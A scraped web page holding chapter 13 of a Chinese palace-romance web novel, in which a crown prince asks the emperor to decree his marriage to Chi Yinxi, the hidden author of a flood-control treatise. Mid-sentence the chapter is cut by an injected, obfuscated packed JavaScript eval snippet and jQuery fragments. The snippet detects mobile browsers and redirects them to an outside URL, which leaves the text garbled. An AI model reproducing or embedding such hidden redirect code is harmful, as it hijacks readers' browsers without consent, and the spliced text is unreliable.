默认冷灰
24号文字
方正启体

13. 013

作者:江喜悦本书字数:K更新时间:
    翌日,东方既白,巍峨的东宫殿宇染上层层明亮的浅金。


    书房内,云泉将连夜整理调查出的信息呈给了玄奉戈。


    “殿下,这是属下连夜整理出的关于池小姐过往的大体记录。其他详细,尚需些时日方可查账清晰,容属下之后回禀。”


    玄奉戈接过,逐字逐句仔细翻阅。


    “五岁、颂帝诗……拜师洛阳大儒……商论,漕运改良策……”


    倏忽间,一个闪念跃入玄奉戈的脑中,且愈发清晰。


    他和父皇探查的方向,或许从一开始就错了。


    他们一直在寻找一个樊青烈身边,且去过黄河的……男子。


    可若,那人根本未曾亲临黄河,仅凭文书与推演,便能勾勒出千里之外的河防症结与治理方略呢?


    那《河防一览》的真正执笔者,或许……并未去过黄河,或许并非男子。


    或许,就是池音希。


    “会是你吗?池音希……”


    怪不得,樊青烈竟会用如此阴毒的手段,怕是想要彻底掌控池音希。


    “云泉,”玄奉戈扬起声量:“备舆,孤要面见父皇。”


    云泉正在门外候着,闻言立刻推门而入,迟疑道:“殿下,今日是端午休沐,陛下昨日特意吩咐过,休沐期间若无大事,任何人不得打扰。”


    他顿了顿,又补充道:“曹公公……还特意同属下强调了一遍。”


    曹兴德乃是武安帝身边最得信任的总管太监,他这般强调,定是武安帝的嘱托。


    “自然是急事。”玄奉戈已然起身,大步迈出书房。


    云泉不敢再劝,疾步跟上。


    御书房内,武安帝刚从中宫过来,身上还带着暖香,脸色却不太好。


    他重重坐在龙椅上,沉声说道:“若非大事,休沐过后,未来十日的奏折都归你来批阅。”


    说完,他抬眼看着依旧挺拔站于御案前的儿子,没好气道:“怎么?还要朕请你坐下?”


    然而下一瞬,武安帝微微一愣。


    只见玄奉戈径直跪在地上,双膝触地,发出清晰的声响。


    他叩了一首,后又直起脊背道:“请父皇择一女子,为儿臣赐婚。”


    武安帝先是一怔,随即,他不由嗤笑一声:“这可不行。”


    武安帝调整了一下坐姿,好整以暇地看着跪在地上的儿子,一派认真地说道:“说好了你先自己寻觅心仪之人,若待继位之前仍未寻得,朕再为你赐婚。君无戏言,朕岂能当那朝令夕改之人?”


    玄奉戈并没有起身,仍稳稳跪在地上,平静道:“请父皇先过目御案上的密信。此乃昨日宫宴后,而儿臣命人连夜所查。”


    武安帝听后,收敛了玩笑之色。他伸手打开密信,目光移动间,神情逐渐变得凝重。


    阅毕,他缓缓抬起头来:“怪不得暗卫查访多日都不得果。看来,这大才,就藏在樊府后宅之中。”


    他继续说道:“这池音希,朕倒是有几分印象,五岁便不简单。不过,即便如此,她未至黄河,只阅文书,便能写出这《河防一览》。她,比朕想象的还要惊才绝艳得多。”


    武安帝笑看向儿子,终于挑明了问道:“你怎么会想到查她?莫不是这池音希是你心仪之人?眼光倒是刁钻。”


    玄奉戈闻言,再次以头点地,后又直身拱手,目光灼灼地望向武安帝。


    他的声音清晰无比,铿锵有力:“请父皇,定要‘强行’为儿臣赐婚。”


    武安帝面上的笑意敛去,他沉默地注视着儿子。


    父子俩相似的墨黑瞳仁相触间,一切都已明了。


    良久,武安帝终于开口:“好你个玄奉戈!你不是让朕当那反悔之人,而是要朕当次强点鸳鸯的恶人!”


    他身子微微前倾,语气转为认真:“既是真心喜欢,何不自己去求?以你太子之尊,若诚心相待,必能打动芳心。”


    玄奉戈没有立刻回答,而是将昨夜宫宴上的龌龊算计悉数告知了武安帝。


    “儿臣等不及了。”玄奉戈语气低沉:“昨日,儿臣本以为池音希是位弱柳扶风、皎洁如明月的闺阁小姐。”


    “可若她当真是治水论的执笔者,昨夜那场未遂的阴谋,她多半早已有所察觉。再加上这治水论,她入长安,许是有所图谋。”


    玄奉戈语气愈发坚定:“然不管是何图谋,她都不是可以任人采撷摆布的弱女子。变数太大,儿臣…不想赌。故请父皇先行赐婚,定下名分。之后,儿臣再徐徐图之,赢得明月之心。”


    武安帝听完儿子鲜有的、甚是冗长的一番话,不禁翻了个白眼,抬手将那厚厚的密信砸到儿子头上,“糊涂!若你的算计之后被她知晓,这般心有鸿鹄的女子,怕是这辈子与你无缘了!”


    无缘?


    玄奉戈心头一紧,语气却更加斩钉截铁:“父皇便是机缘。善战者,致人而不致于人。儿臣不愿被动等待,亦不愿见她再陷险境。先取后谋,待父皇赐婚,名分既定,儿臣自会以智营万全之策,日久情深,以真心谋得真心。”①


    武安帝被气笑了:“你是想娶妻!不是去攻城略地,排兵布阵!这池音希乃是大才,朕需得用她,贸然赐婚,若引得她心生抵触,岂非朝廷损失?”


    玄奉戈闻言,重重一磕头,额头与金砖相触,发出沉闷的响声。


    他缓缓抬起头,目光如炬,直直看向武安帝:“池音希是女子,敢问父皇,您想怎么用她?怎么,您要给她个官职,让她堂堂正正立于朝堂吗?”


    他的言辞愈发犀利:“父皇天威煌煌,然世家千百年来盘根错节,以致科举落寞。科举取士,中举者世家贵族子弟十之八九。这寒门与世家,父皇都尚未权衡得当,那若您要用池音希,还不是得让她藏于人后?如此,与那樊青烈有何区别?”


    “你!”武安帝被问得一时语塞。


    玄奉戈却不肯停下,声音带着炽热:“父皇,儿臣此生,第一次对女子心动,还不知她是谁,便已觉得她处处都好。儿臣确信,这般情愫,此生唯有一次,再不会予他人。”


    他放缓了语速:“待父皇赐婚后,儿臣必珍之重之,此生唯她一人。日后,儿臣走访民间、微服私访之时,亦可携她同行。将来,儿臣治百官,她来助民生。只要她是太子妃,是未来的国母,她便不必藏于人后!她的才华,将是玄夏之幸,朝廷与百姓只会敬仰称颂,而不会因她的女子身份妄加非议!”


    御书房陷入了长久的沉默。


    武安帝沉思良久,终是叹了口气,开口道:“若朕赐婚,日后事发,纵使你心再纯、情再真,此番行为落在那般聪慧的女子眼中,难保她不会认为你是心存利用、觊觎其才。届时,有你受的。”


    玄奉戈并未直接回答,他眼中骤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062404|195082||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然爆发出明亮的光,猛地以头点地,大喜道:“儿臣谢父皇赐婚!”


    “迟则生变,还请父皇尽快,越快越好。”他抬起头,语气带着急切。


    玄奉戈终于站了起来,却又躬身倨句,拱手道:“待儿臣出了这御书房,今日所言所请……儿臣一概不知。一切皆是父皇圣心独断。”


    武安帝啼笑皆非,最终只是不耐地挥了挥手:“行了,滚吧。”


    “儿臣告退。”


    玄奉戈再次躬身一礼,随即大步出了御书房,步履带着几分轻快。


    ……


    傍晚,夕阳的余晖给卫国公府镀上一层暖金色。


    正厅内,樊青烈与池音希正跪地聆听圣谕。


    “奉陛下口谕,朕闻五岁诵诗神童,池氏女已来长安,特宣池氏女,于明日巳时初刻进宫,拜见皇后娘娘。钦此。”


    “臣樊青烈遵旨。陛下万岁,万岁,万万岁。”


    “民女池音希遵旨。陛下万岁,万岁,万万岁。”


    待曹公公示意礼毕,两人方才起身。


    樊青烈立刻上前一步,将一鼓囊囊的香囊塞入了曹公公的袖中,笑问道:“陛下日理万机,竟还能注意到我这外女来了长安…臣实在是诚惶诚恐啊。”


    曹公公眯了眯眼,压低了声音:“国公爷客气了。昨日宫宴,您这外女姿容甚盛,气质脱俗,自是引起了不少夫人贵女的注意。有人向皇后娘娘提起,这才认出她就是当初那颂帝神童。皇后娘娘一时兴起,便想将池姑娘单独召进宫来,再让她即兴赋诗一首。陛下嘛,自然是顺着娘娘的心意。”


    “原来如此,竟是皇后娘娘雅兴。”樊青烈闻言,心中稍定。


    他拱了拱手,朗声笑道:“有劳曹公公特意跑这一趟,小女能得皇后娘娘青眼,实乃我樊、池两家莫大荣幸。”


    送走曹公公后,樊青烈看着池音希,笑得极为温和:“音希啊,策论一事干系甚大,关乎樊、池两家未来。待你明日入宫,定要谨言慎行。若是作诗,风格也莫要同策论贴近,诗文辞藻华美,意境婉约便是。”


    池音希屈膝行了一礼,姿态恭顺:“舅舅放心,音希明白其中利害,定当谨言慎行。”


    “好!你是个聪慧孩子,舅舅自然是放心的。”樊青烈点了点头,温声道:“那便快回院好生准备准备,也早些歇息,以待明日入宫。”


    “是,音希告退。”池音希行礼告退。


    ……


    天色渐深,玉竹轩内。


    池音希屏退了文秀、元湘,独自泡在浴汤之中。


    花瓣盖住了池面,热气氤氲了满屋。


    忽地,有人从连着浴室的偏房进来了,从池音希身后遮住了她的眼。


    直到那温热的手覆在自己眼上,池音希才察觉有人进来,身体微微一僵,却又立即放松下来。


    她伸手挑起一抹水花,弹向身后之人。


    “清越。”她轻声唤道,带着笑意。


    “好香。”清越松开了手,顺势坐在了浴池边缘光洁的玉台上。


    池音希侧头看他:“这个时辰,你怎么来了?”


    清越这才正色道:“我本想过来告诉你,那芷汀的确如你所言,是太子的人。”


    “结果我刚来,却发现你这院中竹林里多了双眼睛。”他撇了撇嘴:“还抢了我往日在竹林里最喜欢待的那个位置!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)